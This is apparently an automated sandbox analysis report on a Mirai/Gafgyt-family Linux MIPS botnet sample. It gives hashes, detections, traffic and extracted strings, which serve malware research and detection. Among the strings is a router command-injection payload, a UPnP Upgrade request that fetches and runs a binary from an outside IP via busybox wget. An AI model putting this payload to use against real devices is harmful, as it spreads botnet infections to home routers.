Linux Analysis Report
wn8pgKNArU.elf

Overview

General Information

Sample name: wn8pgKNArU.elf
renamed because original name is a hash value
Original sample name: 5e551c4b56b047def8a6b77c8bb8a8d7.elf
Analysis ID: 1428712
MD5: 5e551c4b56b047def8a6b77c8bb8a8d7
SHA1: 37f4c4d9894fcc0fdb6fe2ec8c017b9358492ec0
SHA256: e06905604998c5494ca7e01761a8823093a7b4a005c4f2bb19d58f4254bb1158
Tags: 32elfgafgytmips
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: wn8pgKNArU.elf Avira: detected
Source: wn8pgKNArU.elf ReversingLabs: Detection: 60%
Source: wn8pgKNArU.elf Virustotal: Detection: 48% Perma Link
Source: wn8pgKNArU.elf String: /proc/proc/%d/cmdlinewgetcurlbusybox/bin/busyboxechocatnanotfptkillallpkilltopxargspgrepabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: wn8pgKNArU.elf String found in binary or memory: http://103.174.73.190/tajma.mpsl;
Source: wn8pgKNArU.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: wn8pgKNArU.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

barindex
Source: wn8pgKNArU.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: /bin/busybox/
Source: Initial sample String containing 'busybox' found: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKskyljneegay.armskyljneegay.arm5skyljneegay.arm6skyljneegay.arm7skyljneegay.mipsskyljneegay.mpslskyljneegay.x86_64skyljneegay.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/anko-app/ankosample _8182T_1104/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd//usr/libexec/openssh/sftp-server/usr/shellmnt/sys//bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//usr/lib/systemd//system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample String containing 'busybox' found: /proc/proc/%d/cmdlinewgetcurlbusybox/bin/busyboxechocatnanotfptkillallpkilltopxargspgrepabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f
Source: ELF static info symbol of initial sample .symtab present: no
Source: wn8pgKNArU.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: classification engine Classification label: mal88.troj.linELF@0/0@0/0
Source: /tmp/wn8pgKNArU.elf (PID: 6241) Queries kernel information via 'uname': Jump to behavior
Source: wn8pgKNArU.elf, 6241.1.00007ffe9100b000.00007ffe9102c000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/wn8pgKNArU.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/wn8pgKNArU.elf
Source: wn8pgKNArU.elf, 6241.1.000055ae0b817000.000055ae0b89e000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: wn8pgKNArU.elf, 6241.1.000055ae0b817000.000055ae0b89e000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: wn8pgKNArU.elf, 6241.1.00007ffe9100b000.00007ffe9102c000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: wn8pgKNArU.elf, 6241.1.00007ffe9100b000.00007ffe9102c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

barindex
Source: Yara match File source: wn8pgKNArU.elf, type: SAMPLE
Source: Yara match File source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR
Source: Yara match File source: wn8pgKNArU.elf, type: SAMPLE
Source: Yara match File source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: wn8pgKNArU.elf, type: SAMPLE
Source: Yara match File source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR
Source: Yara match File source: wn8pgKNArU.elf, type: SAMPLE
Source: Yara match File source: 6241.1.00007f5c9c400000.00007f5c9c42d000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: wn8pgKNArU.elf PID: 6241, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs